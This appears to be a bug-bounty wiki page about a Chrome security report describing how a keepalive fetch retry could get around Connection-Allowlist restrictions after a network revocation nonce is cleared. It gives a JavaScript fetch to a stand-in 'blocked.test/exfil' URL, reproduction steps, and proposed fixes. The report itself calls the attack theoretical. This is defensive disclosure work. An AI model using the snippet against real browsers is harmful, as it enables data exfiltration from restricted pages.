Incorrect authorization in Network (CVE-2026-79262)
A logic flaw in KeepAliveURLLoader allows a blocked keepalive fetch to schedule a retry after the renderer disconnects, dropping the original access-denied error. If the retry occurs after the document's network revocation nonce is cleared, the network service's fail-open design permits the previously blocked request, enabling data exfiltration from restricted contexts.
Google Chrome
Originally disclosed on Chrome VRP
- Fix shipped in 5 months
Project Fortify, an experimental security project, has identified the following potential security issue.
Overview: A logic flaw in KeepAliveURLLoader allows a blocked keepalive fetch request to schedule a retry after the renderer disconnects by dropping the original access-denied error. If this retry occurs after the document's network revocation nonce is cleared (60 seconds after unload), the network service's fail-open design permits the previously blocked request. This enables potential data exfiltration from restricted contexts like Connection-Allowlists or Fenced Frames.
Affected files:
services/network/network_context.cccontent/browser/loader/keep_alive_url_loader.ccservices/network/cors/cors_url_loader_factory.cccontent/browser/storage_partition_impl.cc
Estimated timestamp from git blame: 2025-07-16
Summary
There is a potential security vulnerability in the interaction between the KeepAliveURLLoader retry mechanism and document-level network restrictions (like Connection-Allowlist or Fenced Frames). An attacker can bypass these network restrictions by intentionally triggering a blocked keepalive request, unloading the document, and forcing a delayed retry that executes after the document's security nonce has been cleared from the network service.
Note: The steps described below are theoretical and based on codebase analysis; a working proof-of-concept has not been executed. This attack relies on the kConnectionAllowlists and kFetchRetry features being enabled.
Vulnerability Mechanics
- Initial Block: A restricted document initiates a
fetchwithkeepalive: trueandretryOptions: { retryAfterUnload: true, maxAge: 86400000 }to a blocked URL. The network service blocks it, sendingnet::ERR_NETWORK_ACCESS_REVOKEDtoKeepAliveURLLoader::OnComplete. - Error Delayed:
KeepAliveURLLoader::RetryOrDelayErrorIfNeededchecks if the error is retryable. It is not (fatal access error). However, because the renderer is still connected andmaxAgehasn't expired, the loader delays sending the error to avoid timing leaks, startingmax_age_handler_timer_and keeping the loader alive. - Renderer Disconnect: The attacker navigates away, unloading the document. This disconnects the renderer from the
KeepAliveURLLoader, starting a 30-seconddisconnected_loader_timer_. Simultaneously,StoragePartitionImplschedules a 60-second delayed task to clear the document's network revocation nonce in the Network Service. - State Machine Flaw: When the 30-second disconnect timer fires,
KeepAliveURLLoader::OnDisconnectedLoaderTimerFiredseesretry_after_unloadis true and callsMaybeScheduleRetry(/*completion_status=*/std::nullopt). Because no status is provided, it bypassesIsNetErrorEligibleForRetry, "forgetting" the fatalERR_NETWORK_ACCESS_REVOKEDerror and forcefully scheduling a retry. - Wait for NIK: The retry logic pauses because there is no active document with the original
NetworkIsolationKey(NIK). - Nonce Clearance: At 60 seconds, the Network Service clears the document's nonce from
NetworkContext::network_revocation_nonces_. - Bypass: The attacker navigates back to the site, satisfying the NIK requirement. The retry resumes.
NetworkContext::IsNetworkForNonceAndUrlAllowedevaluates the request, but because the nonce is no longer innetwork_revocation_nonces_, it falls back to its fail-open design and returnstrue. The request to the blocked URL succeeds.
Potential Reproduction Steps
- Ensure
network::features::kConnectionAllowlistsandblink::features::kFetchRetryare enabled. - Serve a document at
https://victim.testrestricted by aConnection-Allowlistto only allowhttps://allowed.test/*. - In the restricted document, execute the following JavaScript:
fetch('https://blocked.test/exfil?data=secret', {
keepalive: true,
retryOptions: {
maxAttempts: 10,
retryAfterUnload: true,
maxAge: 86400000
}
});
- Navigate the tab to
about:blank. - Wait for at least 65 seconds (to allow the 60-second nonce clearance timer to fire).
- Navigate the tab back to
https://victim.test. - Observe that the retry request is dispatched to
https://blocked.testand succeeds, bypassing the allowlist.
Proposed Fix
- Fix
KeepAliveURLLoaderState Machine: InKeepAliveURLLoader::OnDisconnectedLoaderTimerFired, if the request previously completed with a fatal error (currently stored/pending viamax_age_handler_timer_), do not callMaybeScheduleRetry(std::nullopt). It should use the actual stored completion status if one exists, which would correctly fail theIsNetErrorEligibleForRetrycheck. - Harden
NetworkContext: Consider changing the fail-open design ofIsNetworkForNonceAndUrlAllowed. If a request arrives with anisolation_info.nonce(), and that nonce is completely unknown to theNetworkContext(because it was cleared), it might be safer to fail-closed or validate the lifecycle of the nonce against the request's origin.
Evaluated with Chrome root at commit: a9cbf6e8b275fe4147435aa905f3b7f5a656f5f0
Results from so far have been promising, but there can be wrong deductions. If this proves to be a false positive, please close as WAI; data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the KeepAliveURLLoader state machine calls MaybeScheduleRetry with no completion status when the disconnect timer fires, bypassing the check that would have rejected the fatal access-denied error, and the network service fails open when the nonce is unknown.
Impact
This could enable data exfiltration from restricted contexts like Connection-Allowlists or Fenced Frames, but the attack is theoretical and relies on specific features being enabled.
What the attacker needed
KConnectionAllowlists and kFetchRetry enabled; victim visits a restricted document; attacker can run JavaScript in that document
The fix
The KeepAliveURLLoader state machine should use the stored completion status instead of nullopt, and NetworkContext should consider failing closed for unknown nonces.
How it was found
- Enable the ConnectionAllowlists and FetchRetry features.
- Serve a document restricted by a Connection-Allowlist to only allow a specific origin.
- In the restricted document, execute a keepalive fetch with retry options to a blocked URL.
- Navigate the tab to about:blank.
- Wait at least 65 seconds for the nonce clearance timer.
- Navigate back to the original site and observe the retry request to the blocked URL succeeds.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A web page can be restricted so it only talks to certain sites. The bug lets a page trick the browser into retrying a blocked request later, after the browser has forgotten the restriction, so the request goes through. This could let a malicious page send data to a site it should not be able to reach.
What is Access control?
A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.